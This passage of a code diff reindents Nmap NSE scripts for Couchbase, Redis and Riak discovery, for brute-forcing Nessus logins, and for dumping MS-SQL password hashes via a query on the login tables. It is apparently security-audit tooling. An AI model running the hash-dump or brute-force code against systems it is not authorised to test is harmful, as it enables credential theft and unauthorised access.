return stdnse.format_output(true, result )
|
||||
|
||||
end
|
||||
|
||||
@@ -45,106 +45,106 @@ portrule = shortport.port_or_service(8091, "http", "tcp")
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
||||
|
||||
local filter = {
|
||||
["parsed[1]['nodes'][1]['os']"] = { name = "OS" },
|
||||
["parsed[1]['nodes'][1]['version']"] = { name = "Version" },
|
||||
["parsed[1]['nodes'][1]['hostname']"] = { name = "Hostname" },
|
||||
["parsed[1]['nodes'][1]['status']"] = { name = "Status" },
|
||||
["parsed[1]['nodes'][1]['uptime']"] = { name = "Uptime" },
|
||||
["parsed[1]['nodes'][1]['memoryTotal']"] = { name = "Total memory" },
|
||||
["parsed[1]['nodes'][1]['memoryFree']"] = { name = "Free memory" },
|
||||
["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" },
|
||||
["parsed['componentsVersion']['kernel']"] = { name = "Kernel version" },
|
||||
["parsed['componentsVersion']['mnesia']"] = { name = "Mnesia version" },
|
||||
["parsed['componentsVersion']['stdlib']"] = { name = "Stdlib version" },
|
||||
["parsed['componentsVersion']['os_mon']"] = { name = "OS mon version" },
|
||||
["parsed['componentsVersion']['ns_server']"] = { name = "NS server version" },
|
||||
["parsed['componentsVersion']['sasl']"] = { name = "SASL version" },
|
||||
["parsed[1]['nodes'][1]['os']"] = { name = "OS" },
|
||||
["parsed[1]['nodes'][1]['version']"] = { name = "Version" },
|
||||
["parsed[1]['nodes'][1]['hostname']"] = { name = "Hostname" },
|
||||
["parsed[1]['nodes'][1]['status']"] = { name = "Status" },
|
||||
["parsed[1]['nodes'][1]['uptime']"] = { name = "Uptime" },
|
||||
["parsed[1]['nodes'][1]['memoryTotal']"] = { name = "Total memory" },
|
||||
["parsed[1]['nodes'][1]['memoryFree']"] = { name = "Free memory" },
|
||||
["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" },
|
||||
["parsed['componentsVersion']['kernel']"] = { name = "Kernel version" },
|
||||
["parsed['componentsVersion']['mnesia']"] = { name = "Mnesia version" },
|
||||
["parsed['componentsVersion']['stdlib']"] = { name = "Stdlib version" },
|
||||
["parsed['componentsVersion']['os_mon']"] = { name = "OS mon version" },
|
||||
["parsed['componentsVersion']['ns_server']"] = { name = "NS server version" },
|
||||
["parsed['componentsVersion']['sasl']"] = { name = "SASL version" },
|
||||
}
|
||||
|
||||
local order = {
|
||||
"parsed[1]['nodes'][1]['hostname']",
|
||||
"parsed[1]['nodes'][1]['os']",
|
||||
"parsed[1]['nodes'][1]['version']",
|
||||
"parsed['componentsVersion']['kernel']",
|
||||
"parsed['componentsVersion']['mnesia']",
|
||||
"parsed['componentsVersion']['stdlib']",
|
||||
"parsed['componentsVersion']['os_mon']",
|
||||
"parsed['componentsVersion']['ns_server']",
|
||||
"parsed['componentsVersion']['sasl']",
|
||||
"parsed[1]['nodes'][1]['status']",
|
||||
"parsed[1]['nodes'][1]['uptime']",
|
||||
"parsed[1]['nodes'][1]['memoryTotal']",
|
||||
"parsed[1]['nodes'][1]['memoryFree']",
|
||||
"parsed[1]['vBucketServerMap']['serverList']",
|
||||
"parsed[1]['nodes'][1]['hostname']",
|
||||
"parsed[1]['nodes'][1]['os']",
|
||||
"parsed[1]['nodes'][1]['version']",
|
||||
"parsed['componentsVersion']['kernel']",
|
||||
"parsed['componentsVersion']['mnesia']",
|
||||
"parsed['componentsVersion']['stdlib']",
|
||||
"parsed['componentsVersion']['os_mon']",
|
||||
"parsed['componentsVersion']['ns_server']",
|
||||
"parsed['componentsVersion']['sasl']",
|
||||
"parsed[1]['nodes'][1]['status']",
|
||||
"parsed[1]['nodes'][1]['uptime']",
|
||||
"parsed[1]['nodes'][1]['memoryTotal']",
|
||||
"parsed[1]['nodes'][1]['memoryFree']",
|
||||
"parsed[1]['vBucketServerMap']['serverList']",
|
||||
}
|
||||
|
||||
local function cmdReq(host, port, url, result)
|
||||
local response = http.get(host, port, url)
|
||||
local response = http.get(host, port, url)
|
||||
|
||||
if ( 200 ~= response.status ) or ( response.header['server'] == nil ) then
|
||||
return false
|
||||
end
|
||||
if ( 200 ~= response.status ) or ( response.header['server'] == nil ) then
|
||||
return false
|
||||
end
|
||||
|
||||
if ( response.header['server'] and
|
||||
not( response.header['server']:match("^Couchbase Server") or response.header['server']:match("^Membase Server") ) ) then
|
||||
return false
|
||||
end
|
||||
if ( response.header['server'] and
|
||||
not( response.header['server']:match("^Couchbase Server") or response.header['server']:match("^Membase Server") ) ) then
|
||||
return false
|
||||
end
|
||||
|
||||
local status, parsed = json.parse(response.body)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to parse response from server"
|
||||
end
|
||||
local status, parsed = json.parse(response.body)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to parse response from server"
|
||||
end
|
||||
|
||||
result = result or {}
|
||||
for item in pairs(filter) do
|
||||
local var, val = ""
|
||||
for x in item:gmatch("(.-%])") do
|
||||
var = var .. x
|
||||
local env = setmetatable({parsed=parsed}, {__index = _G})
|
||||
local func = load("return " .. var, nil, "t", env)
|
||||
result = result or {}
|
||||
for item in pairs(filter) do
|
||||
local var, val = ""
|
||||
for x in item:gmatch("(.-%])") do
|
||||
var = var .. x
|
||||
local env = setmetatable({parsed=parsed}, {__index = _G})
|
||||
local func = load("return " .. var, nil, "t", env)
|
||||
|
||||
if ( not(func()) ) then
|
||||
val = nil
|
||||
break
|
||||
end
|
||||
val = func()
|
||||
end
|
||||
if ( not(func()) ) then
|
||||
val = nil
|
||||
break
|
||||
end
|
||||
val = func()
|
||||
end
|
||||
|
||||
if ( val ) then
|
||||
local name = filter[item].name
|
||||
val = ( "table" == type(val) and stdnse.strjoin(",", val) or val )
|
||||
result[item] = { name = name, value = val }
|
||||
end
|
||||
end
|
||||
return true, result
|
||||
if ( val ) then
|
||||
local name = filter[item].name
|
||||
val = ( "table" == type(val) and stdnse.strjoin(",", val) or val )
|
||||
result[item] = { name = name, value = val }
|
||||
end
|
||||
end
|
||||
return true, result
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
|
||||
local _, http_status, _ = http.identify_404(host,port)
|
||||
if ( http_status == 200 ) then
|
||||
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
|
||||
return false
|
||||
end
|
||||
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
|
||||
local _, http_status, _ = http.identify_404(host,port)
|
||||
if ( http_status == 200 ) then
|
||||
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
|
||||
return false
|
||||
end
|
||||
|
||||
local urls = { "/pools/default/buckets", "/pools" }
|
||||
local urls = { "/pools/default/buckets", "/pools" }
|
||||
|
||||
local status, result
|
||||
for _, u in ipairs(urls) do
|
||||
status, result = cmdReq(host, port, u, result)
|
||||
end
|
||||
local status, result
|
||||
for _, u in ipairs(urls) do
|
||||
status, result = cmdReq(host, port, u, result)
|
||||
end
|
||||
|
||||
if ( not(result) or not(next(result)) ) then
|
||||
return
|
||||
end
|
||||
if ( not(result) or not(next(result)) ) then
|
||||
return
|
||||
end
|
||||
|
||||
local output = tab.new(2)
|
||||
for _, item in ipairs(order) do
|
||||
if ( result[item] ) then
|
||||
tab.addrow(output, result[item].name, result[item].value)
|
||||
end
|
||||
end
|
||||
local output = tab.new(2)
|
||||
for _, item in ipairs(order) do
|
||||
if ( result[item] ) then
|
||||
tab.addrow(output, result[item].name, result[item].value)
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, tab.dump(output))
|
||||
return stdnse.format_output(true, tab.dump(output))
|
||||
end
|
||||
|
||||
@@ -43,46 +43,46 @@ portrule = mssql.Helper.GetPortrule_Standard()
|
||||
|
||||
local function process_instance(instance)
|
||||
|
||||
local helper = mssql.Helper:new()
|
||||
local status, errorMessage = helper:ConnectEx( instance )
|
||||
if ( not(status) ) then
|
||||
return false, {
|
||||
['name'] = string.format( "[%s]", instance:GetName() ),
|
||||
"ERROR: " .. errorMessage
|
||||
}
|
||||
end
|
||||
local helper = mssql.Helper:new()
|
||||
local status, errorMessage = helper:ConnectEx( instance )
|
||||
if ( not(status) ) then
|
||||
return false, {
|
||||
['name'] = string.format( "[%s]", instance:GetName() ),
|
||||
"ERROR: " .. errorMessage
|
||||
}
|
||||
end
|
||||
|
||||
status, errorMessage = helper:LoginEx( instance )
|
||||
if ( not(status) ) then
|
||||
return false, {
|
||||
['name'] = string.format( "[%s]", instance:GetName() ),
|
||||
"ERROR: " .. errorMessage
|
||||
}
|
||||
end
|
||||
status, errorMessage = helper:LoginEx( instance )
|
||||
if ( not(status) ) then
|
||||
return false, {
|
||||
['name'] = string.format( "[%s]", instance:GetName() ),
|
||||
"ERROR: " .. errorMessage
|
||||
}
|
||||
end
|
||||
|
||||
local result
|
||||
local query = [[
|
||||
IF ( OBJECT_ID('master..sysxlogins' ) ) <> 0
|
||||
SELECT name, password FROM master..sysxlogins WHERE password IS NOT NULL
|
||||
ELSE IF ( OBJECT_ID('master.sys.sql_logins') ) <> 0
|
||||
SELECT name, password_hash FROM master.sys.sql_logins
|
||||
]]
|
||||
status, result = helper:Query( query )
|
||||
local result
|
||||
local query = [[
|
||||
IF ( OBJECT_ID('master..sysxlogins' ) ) <> 0
|
||||
SELECT name, password FROM master..sysxlogins WHERE password IS NOT NULL
|
||||
ELSE IF ( OBJECT_ID('master.sys.sql_logins') ) <> 0
|
||||
SELECT name, password_hash FROM master.sys.sql_logins
|
||||
]]
|
||||
status, result = helper:Query( query )
|
||||
|
||||
local output = {}
|
||||
local output = {}
|
||||
|
||||
if ( status ) then
|
||||
for _, row in ipairs( result.rows ) do
|
||||
table.insert(output, ("%s:%s"):format(row[1] or "",row[2] or "") )
|
||||
end
|
||||
if ( status ) then
|
||||
for _, row in ipairs( result.rows ) do
|
||||
table.insert(output, ("%s:%s"):format(row[1] or "",row[2] or "") )
|
||||
end
|
||||
end
|
||||
|
||||
helper:Disconnect()
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
table.insert( instanceOutput, output )
|
||||
helper:Disconnect()
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
table.insert( instanceOutput, output )
|
||||
|
||||
return true, instanceOutput
|
||||
return true, instanceOutput
|
||||
|
||||
end
|
||||
|
||||
@@ -92,44 +92,44 @@ end
|
||||
-- @return status true on success, false on failure
|
||||
-- @return err string containing the error if status is false
|
||||
local function saveToFile(filename, response)
|
||||
local f = io.open( filename, "w")
|
||||
if ( not(f) ) then
|
||||
return false, ("Failed to open file (%s)"):format(filename)
|
||||
end
|
||||
for _, row in ipairs(response) do
|
||||
if ( not(f:write(row .."\n" ) ) ) then
|
||||
return false, ("Failed to write file (%s)"):format(filename)
|
||||
end
|
||||
end
|
||||
f:close()
|
||||
return true
|
||||
local f = io.open( filename, "w")
|
||||
if ( not(f) ) then
|
||||
return false, ("Failed to open file (%s)"):format(filename)
|
||||
end
|
||||
for _, row in ipairs(response) do
|
||||
if ( not(f:write(row .."\n" ) ) ) then
|
||||
return false, ("Failed to write file (%s)"):format(filename)
|
||||
end
|
||||
end
|
||||
f:close()
|
||||
return true
|
||||
end
|
||||
|
||||
action = function( host, port )
|
||||
local dir = stdnse.get_script_args("ms-sql-dump-hashes.dir")
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
local dir = stdnse.get_script_args("ms-sql-dump-hashes.dir")
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local status, instanceOutput = process_instance( instance )
|
||||
if ( status ) then
|
||||
local filename
|
||||
if ( dir ) then
|
||||
local instance = instance:GetName():match("%\\+(.+)$") or instance:GetName()
|
||||
filename = dir .. "/" .. stdnse.filename_escape(("%s_%s_ms-sql_hashes.txt"):format(host.ip, instance))
|
||||
saveToFile(filename, instanceOutput[1])
|
||||
end
|
||||
end
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local status, instanceOutput = process_instance( instance )
|
||||
if ( status ) then
|
||||
local filename
|
||||
if ( dir ) then
|
||||
local instance = instance:GetName():match("%\\+(.+)$") or instance:GetName()
|
||||
filename = dir .. "/" .. stdnse.filename_escape(("%s_%s_ms-sql_hashes.txt"):format(host.ip, instance))
|
||||
saveToFile(filename, instanceOutput[1])
|
||||
end
|
||||
end
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
|
||||
if ( #scriptOutput == 0 ) then return end
|
||||
if ( #scriptOutput == 0 ) then return end
|
||||
|
||||
local output = ( #scriptOutput > 1 and scriptOutput or scriptOutput[1] )
|
||||
local output = ( #scriptOutput > 1 and scriptOutput or scriptOutput[1] )
|
||||
|
||||
return stdnse.format_output( true, output )
|
||||
return stdnse.format_output( true, output )
|
||||
end
|
||||
|
||||
@@ -39,115 +39,115 @@ portrule = shortport.port_or_service(1241, "nessus", "tcp")
|
||||
Driver =
|
||||
{
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
self.socket = nmap.new_socket()
|
||||
if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end,
|
||||
connect = function( self )
|
||||
self.socket = nmap.new_socket()
|
||||
if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function( self, username, password )
|
||||
local handshake = "< NTP/1.2 >< plugins_cve_id plugins_version timestamps dependencies fast_login >\n"
|
||||
login = function( self, username, password )
|
||||
local handshake = "< NTP/1.2 >< plugins_cve_id plugins_version timestamps dependencies fast_login >\n"
|
||||
|
||||
local status, err = self.socket:send(handshake)
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send handshake to server" )
|
||||
err:setAbort(true)
|
||||
return false, err
|
||||
end
|
||||
local status, err = self.socket:send(handshake)
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send handshake to server" )
|
||||
err:setAbort(true)
|
||||
return false, err
|
||||
end
|
||||
|
||||
local line
|
||||
status, line = self.socket:receive_buf("\r?\n", false)
|
||||
if ( not(status) or line ~= "< NTP/1.2 >" ) then
|
||||
local err = brute.Error:new( "The server failed to respond to handshake" )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
local line
|
||||
status, line = self.socket:receive_buf("\r?\n", false)
|
||||
if ( not(status) or line ~= "< NTP/1.2 >" ) then
|
||||
local err = brute.Error:new( "The server failed to respond to handshake" )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, line = self.socket:receive()
|
||||
if ( not(status) or line ~= "User : ") then
|
||||
local err = brute.Error:new( "Expected \"User : \", got something else" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
status, line = self.socket:receive()
|
||||
if ( not(status) or line ~= "User : ") then
|
||||
local err = brute.Error:new( "Expected \"User : \", got something else" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status = self.socket:send(username .. "\n")
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send username to server" )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
status = self.socket:send(username .. "\n")
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send username to server" )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, line = self.socket:receive()
|
||||
if ( not(status) or line ~= "Password : ") then
|
||||
local err = brute.Error:new( "Expected \"Password : \", got something else" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
status, line = self.socket:receive()
|
||||
if ( not(status) or line ~= "Password : ") then
|
||||
local err = brute.Error:new( "Expected \"Password : \", got something else" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status = self.socket:send(password)
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send password to server" )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
status = self.socket:send(password)
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send password to server" )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
-- the line feed has to be sent separate like this, otherwise we don't
|
||||
-- receive the server response and the server simply hangs up
|
||||
status = self.socket:send("\n")
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send password to server" )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
-- the line feed has to be sent separate like this, otherwise we don't
|
||||
-- receive the server response and the server simply hangs up
|
||||
status = self.socket:send("\n")
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send password to server" )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
-- we force a brief incorrect statement just to get an error message to
|
||||
-- confirm that we've succesfully authenticated to the server
|
||||
local bad_cli_pref = "CLIENT <|> PREFERENCES <|>\n<|> CLIENT\n"
|
||||
status = self.socket:send(bad_cli_pref)
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send bad client preferences packet to server" )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
-- we force a brief incorrect statement just to get an error message to
|
||||
-- confirm that we've succesfully authenticated to the server
|
||||
local bad_cli_pref = "CLIENT <|> PREFERENCES <|>\n<|> CLIENT\n"
|
||||
status = self.socket:send(bad_cli_pref)
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send bad client preferences packet to server" )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
-- if the server disconnects us at this point, it's most likely due to
|
||||
-- that the authentication failed, so simply treat it as an incorrect
|
||||
-- password, rather than abort.
|
||||
status, line = self.socket:receive()
|
||||
if ( not(status) ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end
|
||||
-- if the server disconnects us at this point, it's most likely due to
|
||||
-- that the authentication failed, so simply treat it as an incorrect
|
||||
-- password, rather than abort.
|
||||
status, line = self.socket:receive()
|
||||
if ( not(status) ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end
|
||||
|
||||
if ( line:match("SERVER <|> PREFERENCES_ERRORS <|>") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
if ( line:match("SERVER <|> PREFERENCES_ERRORS <|>") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
self.socket:close()
|
||||
end,
|
||||
disconnect = function( self )
|
||||
self.socket:close()
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
|
||||
-- the nessus service doesn't appear to do very well with multiple threads
|
||||
engine:setMaxThreads(1)
|
||||
local status, result = engine:start()
|
||||
-- the nessus service doesn't appear to do very well with multiple threads
|
||||
engine:setMaxThreads(1)
|
||||
local status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -40,103 +40,103 @@ portrule = shortport.port_or_service(6379, "redis")
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
||||
|
||||
local function cb_parse_version(host, port, val)
|
||||
port.version.version = val
|
||||
port.version.cpe = port.version.cpe or {}
|
||||
table.insert(port.version.cpe, 'cpe:/a:redis:redis:' .. val)
|
||||
nmap.set_port_version(host, port)
|
||||
return val
|
||||
port.version.version = val
|
||||
port.version.cpe = port.version.cpe or {}
|
||||
table.insert(port.version.cpe, 'cpe:/a:redis:redis:' .. val)
|
||||
nmap.set_port_version(host, port)
|
||||
return val
|
||||
end
|
||||
|
||||
local function cb_parse_architecture(host, port, val)
|
||||
val = ("%s bits"):format(val)
|
||||
port.version.extrainfo = val
|
||||
nmap.set_port_version(host, port)
|
||||
return val
|
||||
val = ("%s bits"):format(val)
|
||||
port.version.extrainfo = val
|
||||
nmap.set_port_version(host, port)
|
||||
return val
|
||||
end
|
||||
|
||||
local filter = {
|
||||
|
||||
["redis_version"] = { name = "Version", func = cb_parse_version },
|
||||
["os"] = { name = "Operating System" },
|
||||
["arch_bits"] = { name = "Architecture", func = cb_parse_architecture },
|
||||
["process_id"] = { name = "Process ID"},
|
||||
["uptime"] = { name = "Uptime", func = function(h, p, v) return ("%s seconds"):format(v) end },
|
||||
["used_cpu_sys"]= { name = "Used CPU (sys)"},
|
||||
["used_cpu_user"] = { name = "Used CPU (user)"},
|
||||
["connected_clients"] = { name = "Connected clients"},
|
||||
["connected_slaves"] = { name = "Connected slaves"},
|
||||
["used_memory_human"] = { name = "Used memory"},
|
||||
["role"] = { name = "Role"}
|
||||
["redis_version"] = { name = "Version", func = cb_parse_version },
|
||||
["os"] = { name = "Operating System" },
|
||||
["arch_bits"] = { name = "Architecture", func = cb_parse_architecture },
|
||||
["process_id"] = { name = "Process ID"},
|
||||
["uptime"] = { name = "Uptime", func = function(h, p, v) return ("%s seconds"):format(v) end },
|
||||
["used_cpu_sys"]= { name = "Used CPU (sys)"},
|
||||
["used_cpu_user"] = { name = "Used CPU (user)"},
|
||||
["connected_clients"] = { name = "Connected clients"},
|
||||
["connected_slaves"] = { name = "Connected slaves"},
|
||||
["used_memory_human"] = { name = "Used memory"},
|
||||
["role"] = { name = "Role"}
|
||||
|
||||
}
|
||||
|
||||
local order = {
|
||||
"redis_version", "os", "arch_bits", "process_id", "used_cpu_sys",
|
||||
"used_cpu_user", "connected_clients", "connected_slaves",
|
||||
"used_memory_human", "role"
|
||||
"redis_version", "os", "arch_bits", "process_id", "used_cpu_sys",
|
||||
"used_cpu_user", "connected_clients", "connected_slaves",
|
||||
"used_memory_human", "role"
|
||||
}
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local helper = redis.Helper:new(host, port)
|
||||
local status = helper:connect()
|
||||
if( not(status) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
local helper = redis.Helper:new(host, port)
|
||||
local status = helper:connect()
|
||||
if( not(status) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
|
||||
-- do we have a service password
|
||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||
local cred = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
|
||||
-- do we have a service password
|
||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||
local cred = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
|
||||
|
||||
if ( cred and cred.pass ) then
|
||||
local status, response = helper:reqCmd("AUTH", cred.pass)
|
||||
if ( not(status) ) then
|
||||
helper:close()
|
||||
return fail(response)
|
||||
end
|
||||
end
|
||||
if ( cred and cred.pass ) then
|
||||
local status, response = helper:reqCmd("AUTH", cred.pass)
|
||||
if ( not(status) ) then
|
||||
helper:close()
|
||||
return fail(response)
|
||||
end
|
||||
end
|
||||
|
||||
local status, response = helper:reqCmd("INFO")
|
||||
if ( not(status) ) then
|
||||
helper:close()
|
||||
return fail(response)
|
||||
end
|
||||
helper:close()
|
||||
local status, response = helper:reqCmd("INFO")
|
||||
if ( not(status) ) then
|
||||
helper:close()
|
||||
return fail(response)
|
||||
end
|
||||
helper:close()
|
||||
|
||||
if ( redis.Response.Type.ERROR == response.type ) then
|
||||
if ( "-ERR operation not permitted" == response.data ) or
|
||||
( "-NOAUTH Authentication required." == response.data ) then
|
||||
return fail("Authentication required")
|
||||
end
|
||||
return fail(response.data)
|
||||
end
|
||||
if ( redis.Response.Type.ERROR == response.type ) then
|
||||
if ( "-ERR operation not permitted" == response.data ) or
|
||||
( "-NOAUTH Authentication required." == response.data ) then
|
||||
return fail("Authentication required")
|
||||
end
|
||||
return fail(response.data)
|
||||
end
|
||||
|
||||
local restab = stdnse.strsplit("\r\n", response.data)
|
||||
if ( not(restab) or 0 == #restab ) then
|
||||
return fail("Failed to parse response from server")
|
||||
end
|
||||
local restab = stdnse.strsplit("\r\n", response.data)
|
||||
if ( not(restab) or 0 == #restab ) then
|
||||
return fail("Failed to parse response from server")
|
||||
end
|
||||
|
||||
local kvs = {}
|
||||
for _, item in ipairs(restab) do
|
||||
local k, v = item:match("^([^:]*):(.*)$")
|
||||
if k ~= nil then
|
||||
kvs[k] = v
|
||||
end
|
||||
end
|
||||
local kvs = {}
|
||||
for _, item in ipairs(restab) do
|
||||
local k, v = item:match("^([^:]*):(.*)$")
|
||||
if k ~= nil then
|
||||
kvs[k] = v
|
||||
end
|
||||
end
|
||||
|
||||
local result = tab.new(2)
|
||||
for _, item in ipairs(order) do
|
||||
if kvs[item] then
|
||||
local name = filter[item].name
|
||||
local val
|
||||
local result = tab.new(2)
|
||||
for _, item in ipairs(order) do
|
||||
if kvs[item] then
|
||||
local name = filter[item].name
|
||||
local val
|
||||
|
||||
if filter[item].func then
|
||||
val = filter[item].func(host, port, kvs[item])
|
||||
else
|
||||
val = kvs[item]
|
||||
end
|
||||
tab.addrow(result, name, val)
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, tab.dump(result))
|
||||
if filter[item].func then
|
||||
val = filter[item].func(host, port, kvs[item])
|
||||
else
|
||||
val = kvs[item]
|
||||
end
|
||||
tab.addrow(result, name, val)
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, tab.dump(result))
|
||||
end
|
||||
|
||||
@@ -57,49 +57,49 @@ categories = {"discovery", "safe"}
|
||||
portrule = shortport.port_or_service(8098, "http")
|
||||
|
||||
local filter = {
|
||||
["sys_system_architecture"] = { name = "Architecture" },
|
||||
["mem_total"] = { name = "Total Memory" },
|
||||
["crypto_version"] = { name = "Crypto version" },
|
||||
["skerl_version"] = { name = "Skerl version" },
|
||||
["os_mon_version"] = { name = "OS mon. version" },
|
||||
["nodename"] = { name = "Node name" },
|
||||
["basho_stats_version"] = { name = "Basho version" },
|
||||
["lager_version"] = { name = "Lager version" },
|
||||
["cluster_info_version"] = { name = "Cluster info version" },
|
||||
["luke_version"] = { name = "Luke version" },
|
||||
["sasl_version"] = { name = "SASL version" },
|
||||
["sys_driver_version"] = { name = "System driver version" },
|
||||
["bitcask_version"] = { name = "Bitcask version" },
|
||||
["riak_search_version"] = { name = "Riak search version" },
|
||||
["kernel_version"] = { name = "Riak kernel version" },
|
||||
["stdlib_version"] = { name = "Riak stdlib version" },
|
||||
["basho_metrics_version"] = { name = "Basho metrics version" },
|
||||
["webmachine_version"] = { name = "WebMachine version" },
|
||||
["public_key_version"] = { name = "Public key version" },
|
||||
["riak_core_version"] = { name = "Riak vore version" },
|
||||
["riak_pipe_version"] = { name = "Riak pipe version" },
|
||||
["runtime_tools_version"] = { name = "Runtime tools version" },
|
||||
["ssl_version"] = { name = "SSL version" },
|
||||
["mochiweb_version"] = { name = "MochiWeb version"},
|
||||
["erlang_js_version"] = { name = "Erlang JavaScript version" },
|
||||
["riak_kv_version"] = { name = "Riak kv version" },
|
||||
["luwak_version"] = { name = "Luwak version"},
|
||||
["merge_index_version"] = { name = "Merge index version" },
|
||||
["inets_version"] = { name = "Inets version" },
|
||||
["storage_backend"] = { name = "Storage backend" },
|
||||
["riak_sysmon_version"] = { name = "Riak sysmon version" },
|
||||
["sys_system_architecture"] = { name = "Architecture" },
|
||||
["mem_total"] = { name = "Total Memory" },
|
||||
["crypto_version"] = { name = "Crypto version" },
|
||||
["skerl_version"] = { name = "Skerl version" },
|
||||
["os_mon_version"] = { name = "OS mon. version" },
|
||||
["nodename"] = { name = "Node name" },
|
||||
["basho_stats_version"] = { name = "Basho version" },
|
||||
["lager_version"] = { name = "Lager version" },
|
||||
["cluster_info_version"] = { name = "Cluster info version" },
|
||||
["luke_version"] = { name = "Luke version" },
|
||||
["sasl_version"] = { name = "SASL version" },
|
||||
["sys_driver_version"] = { name = "System driver version" },
|
||||
["bitcask_version"] = { name = "Bitcask version" },
|
||||
["riak_search_version"] = { name = "Riak search version" },
|
||||
["kernel_version"] = { name = "Riak kernel version" },
|
||||
["stdlib_version"] = { name = "Riak stdlib version" },
|
||||
["basho_metrics_version"] = { name = "Basho metrics version" },
|
||||
["webmachine_version"] = { name = "WebMachine version" },
|
||||
["public_key_version"] = { name = "Public key version" },
|
||||
["riak_core_version"] = { name = "Riak vore version" },
|
||||
["riak_pipe_version"] = { name = "Riak pipe version" },
|
||||
["runtime_tools_version"] = { name = "Runtime tools version" },
|
||||
["ssl_version"] = { name = "SSL version" },
|
||||
["mochiweb_version"] = { name = "MochiWeb version"},
